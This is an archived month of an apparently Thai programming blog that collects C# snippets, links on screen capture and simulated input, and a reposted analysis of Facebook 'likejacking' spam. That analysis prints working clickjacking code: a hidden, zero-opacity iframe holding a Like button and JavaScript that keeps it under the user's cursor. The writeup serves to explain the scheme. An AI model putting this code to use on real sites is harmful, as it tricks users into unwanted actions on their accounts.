Monthly Archives: October 2011

WebBrowser.DrawToBitmap()

public partial class Form1 : Form
{
WebBrowser wb = new WebBrowser();
public Form1()
{
InitializeComponent();
wb.Height = 100;
wb.Width = 100;
wb.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(wb_DocumentCompleted);
}

void wb_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
Bitmap bmp = new Bitmap(100, 100);
wb.DrawToBitmap(bmp, new Rectangle(wb.Location.X, wb.Location.Y, wb.Width, wb.Height));
this.pictureBox1.BackgroundImage = bmp;
}
}
ที่มา: http://thepursuitofalife.com/the-missing-drawtobitmap-function-in-the-net-webbrowser-class/

Reading and Writing Text Files

using System;
using System.IO;

class TextFileWriter
{
static void Main(string[] args)
{
// create a writer and open the file
TextWriter tw = new StreamWriter(“date.txt”);

// write a line of text to the file
tw.WriteLine(DateTime.Now);

// close the stream
tw.Close();
}
}

using System;
using System.IO;

class TextFileReader
{
static void Main(string[] args)
{
// create reader & open file
Textreader tr = new StreamReader(“date.txt”);

// read a line of text
Console.WriteLine(tr.ReadLine());

// close the stream
tr.Close();
}
}
http://www.csharp-station.com/HowTo/ReadWriteTextFile.aspx

Image Capture Whole Web Page using C#

Image Capture Whole Web Page using C#
http://www.codeproject.com/KB/graphics/IECapture.aspx
Capture Entire Web Page using VB.Net (ทำการ CapturePage ที่ยาวๆ ได้ทั้ง Page เลย)
http://www.codeproject.com/KB/vb/WebCapture.aspx

Screen Capturing
http://www.codeproject.com/kb/graphics/ScreenCaptureByHolzhauer.aspx

TeboScreen: Basic C# Screen Capture Application
http://www.codeproject.com/KB/cs/TeboScreen.aspx

How to: Simulate Mouse and Keyboard Events in Code

How to: Simulate Mouse and Keyboard Events in Code

http://msdn.microsoft.com/en-us/library/ms171548.aspx

SendKeys.Send Method
http://msdn.microsoft.com/en-us/library/system.windows.forms.sendkeys.send.aspx

MouseSimulator
http://stackoverflow.com/questions/5094398/how-to-programatically-mouse-move-click-right-click-and-keypress-etc-in-winform

mouse_event function
http://msdn.microsoft.com/en-us/library/ms646260(VS.85).aspx 
Imitate mouse click
http://social.msdn.microsoft.com/Forums/en-US/csharpgeneral/thread/ebe2c146-03ca-40eb-990d-093fbd3d4886/

Automating the Windows GUI

Auto IT
http://www.autoitscript.com/site/autoit
AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys). AutoIt is also very small, self-contained and will run on all versions of Windows out-of-the-box with no annoying “runtimes” required!

SeleniumHQ
http://seleniumhq.org/
Primarily it is for automating web applications for testing purposes, but is certainly not limited to just that. Boring web-based administration tasks can (and should!) also be automated as well.

“Smoking Hot Bartenders” is Some Smoking Hot Facebook Spam

Yesterday I noticed a ton of my friends on Facebook were “liking” ‎:|:|:|:|:|:| Smoking Hot Bartenders :|:|:|:|:|:|. Noticing that even some friends who I would never think would like that (girls), I decided to click on it and take a look.

The “Smoking Hot Bartenders” site, of course, is some sort of spam site where the user is prompted to fill out some leadgen form (or offer) in order to access pictures of the “smoking hot bartenders”. Declining to do so, I closed the window and figured that was that.

I was quite surprised to check my feed today and notice that I had “liked” the same page on Facebook. How did this happen?

I decided to take a look at the site, http://cutebabesbartending.info/, and see how they were executing this very viral scheme.

The first thing you see when you land on the site, most likely from Facebook (and hence logged in), is a screen with some hot girls and a link to click through. This link is the key to the scheme.

Taking a look the source of the page we see:

1
2
3
4
5
6
<h2>
    <a href="photos.html">Continue here to see photos</a>
</h2>
<div style="overflow: hidden; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="aaaa">
  <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fcutebabesbartending.info%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font&amp;colorscheme=dark&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:20px; height:20px;" allowTransparency="true" id="xxx" name="xxx"></iframe>
</div>

Note we have here an absolutely positioned DIV with an IFRAME to the facebook like page. But where is the code that clicks the link? If they are triggering from the click why does this facebook like button fire? Check out the code below. Note that id xxx is the iframe itself, and aaaa is the facebook like button.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
      var xxx = 0;
      var aaaa = document.getElementById('aaaa');
      var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
      function lololol(e){
        if (window.event) {
          aaaa.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
          aaaa.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
        }
        else {
          aaaa.style.top = (e.pageY-5)+'px';
          aaaa.style.left = (e.pageX-5)+'px';
        }
      }
        document.onmousemove = function(e) {
          if (xxx == 0) {lololol(e);}
        }
</script>

This is kind of ingenious: they are re-drawing the Facebook like button so it follows your mouse around the screen, and when you click on the link you click on both the like button and the link to the next page!

But why don’t you see the like button? It’s because the opacity of the parent element is set to 0 (ie completely transparent, thanks to commenter Colby Russell for correcting me). Let’s change this and see what happens:

Look at that Facebook like button there by my cursor!

This is fairly brilliant spam – you click off of Facebook and unsuspectingly click on the link to get to the page where you assume there might be spam but you can ignore it. However, unbeknownst to you, you’ve already “liked” the spammy page, and it’s now sitting in your feed waiting for the next sucker, er… friend, to click on it.

ที่มา: http://www.liquidrhymes.com/2010/08/25/smoking-hot-bartender-is-some-smoking-hot-facebook-spam/